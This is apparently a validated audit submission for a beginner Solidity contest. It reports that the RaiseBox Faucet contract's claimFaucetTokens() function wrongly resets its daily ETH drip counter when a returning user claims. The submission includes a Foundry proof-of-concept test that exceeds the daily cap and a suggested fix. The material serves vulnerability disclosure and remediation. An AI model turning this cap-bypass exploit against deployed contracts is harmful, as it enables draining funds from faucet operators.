Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Daily claim limit bypass

Root + Impact

Description

  • The claimFaucetTokens() function is designed to track daily Sepolia ETH drips using the dailyDrips counter to enforce a dailySepEthCap limit, ensuring the contract doesn't distribute more ETH than intended per day.

  • When a user who has previously claimed ETH calls claimFaucetTokens() again (on a subsequent day after cooldown), the dailyDrips counter is incorrectly reset to 0 on line 212, completely breaking the daily ETH cap tracking mechanism and allowing unlimited ETH distribution beyond the intended cap.

function claimFaucetTokens() public {
// Checks
faucetClaimer = msg.sender;
// (lastClaimTime[faucetClaimer] == 0);
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (faucetClaimer == address(0) || faucetClaimer == address(this) || faucetClaimer == Ownable.owner()) {
revert RaiseBoxFaucet_OwnerOrZeroOrContractAddressCannotCallClaim();
}
if (balanceOf(address(this)) <= faucetDrip) {
revert RaiseBoxFaucet_InsufficientContractBalance();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
// drip sepolia eth to first time claimers if supply hasn't ran out or sepolia drip not paused**
// still checks
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
// dailyClaimCount = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
} else {
dailyDrips = 0;
}

Risk

Likelihood: High

  • Every user who successfully claims ETH once will have hasClaimedEth[user] = true permanently, meaning every subsequent claim by that user triggers the vulnerability

  • The vulnerability activates automatically without requiring any special conditions or attacker knowledge - normal protocol usage triggers it

Impact: High

  • The dailySepEthCap becomes completely ineffective as the counter resets multiple times per day whenever returning users claim tokens

  • The contract's Sepolia ETH can be drained at a rate far exceeding the intended dailySepEthCap (default 1 ETH/day in deployment script, but effectively unlimited with this bug)

Proof of Concept

function testDailyEthCapBypassVulnerability() public {
// Setup: Contract has 1 ether, dailySepEthCap = 0.5 ether (from test setup)
// sepEthAmountToDrip = 0.005 ether
// Expected behavior: Only 100 users (0.5 / 0.005 = 100) should get ETH per day
assertEq(raiseBoxFaucet.dailySepEthCap(), 0.5 ether);
assertEq(raiseBoxFaucet.sepEthAmountToDrip(), 0.005 ether);
// Day 1: First 100 users claim successfully
address[100] memory users;
for (uint256 i = 0; i < 100; i++) {
users[i] = makeAddr(string(abi.encodePacked("user", i)));
vm.prank(users[i]);
raiseBoxFaucet.claimFaucetTokens();
assertEq(address(users[i]).balance, 0.005 ether, "User should receive ETH");
}
// At this point, dailyDrips should be 0.5 ether (100 * 0.005)
assertEq(raiseBoxFaucet.dailyDrips(), 0.5 ether, "Daily drips should equal cap");
// User 101 (first timer) should NOT receive ETH - cap reached
address user101 = makeAddr("user101");
vm.prank(user101);
raiseBoxFaucet.claimFaucetTokens();
assertEq(address(user101).balance, 0 ether, "User 101 should NOT receive ETH - cap reached");
// ====== VULNERABILITY EXPLOITATION ======
// User 0 claims again after cooldown (returning claimer)
advanceBlockTime(block.timestamp + 3 days);
vm.prank(users[0]);
raiseBoxFaucet.claimFaucetTokens(); // This triggers: dailyDrips = 0
// BUG: dailyDrips is now reset to 0 instead of maintaining 0.5 ether
assertEq(raiseBoxFaucet.dailyDrips(), 0, "VULN: dailyDrips incorrectly reset!");
// Now user 101 CAN claim ETH even though cap was already reached today
vm.prank(user101);
raiseBoxFaucet.claimFaucetTokens();
assertEq(address(user101).balance, 0.005 ether, "VULN: User 101 bypassed daily cap!");
// In fact, 100 MORE users can now claim because the counter was reset
address[100] memory moreUsers;
for (uint256 i = 0; i < 100; i++) {
moreUsers[i] = makeAddr(string(abi.encodePacked("extraUser", i)));
vm.prank(moreUsers[i]);
raiseBoxFaucet.claimFaucetTokens();
assertEq(address(moreUsers[i]).balance, 0.005 ether, "Extra users bypass cap");
}
// Total ETH distributed: 0.5 (first 100) + 0.005 (user101) + 0.5 (next 100) = 1.005 ether
// Expected: 0.5 ether per day
// Actual: 2x the intended cap was bypassed in a single day
}

PoC Explanation: This test demonstrates that after the daily cap is legitimately reached (100 users claiming 0.5 ETH total), a single returning user's claim incorrectly resets the dailyDrips counter to 0. This allows 100+ additional users to bypass the cap and claim ETH in the same day, resulting in 2x the intended daily distribution (1+ ETH instead of 0.5 ETH).

Recommended Mitigation

- } else {
- dailyDrips = 0;// Incorrectly resets counter for returning claimers
- }

Mitigation Explanation: Remove the else branch on line 212 that incorrectly resets dailyDrips to 0. The counter should only be reset when a new day begins (handled in lines 199-203 within the day check). Returning claimers (users with hasClaimedEth[user] = true) should not trigger any counter reset logic. This else branch serves no legitimate purpose and breaks the daily cap enforcement mechanism.

Updates

Lead Judging Commences

inallhonesty Lead Judge 11 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.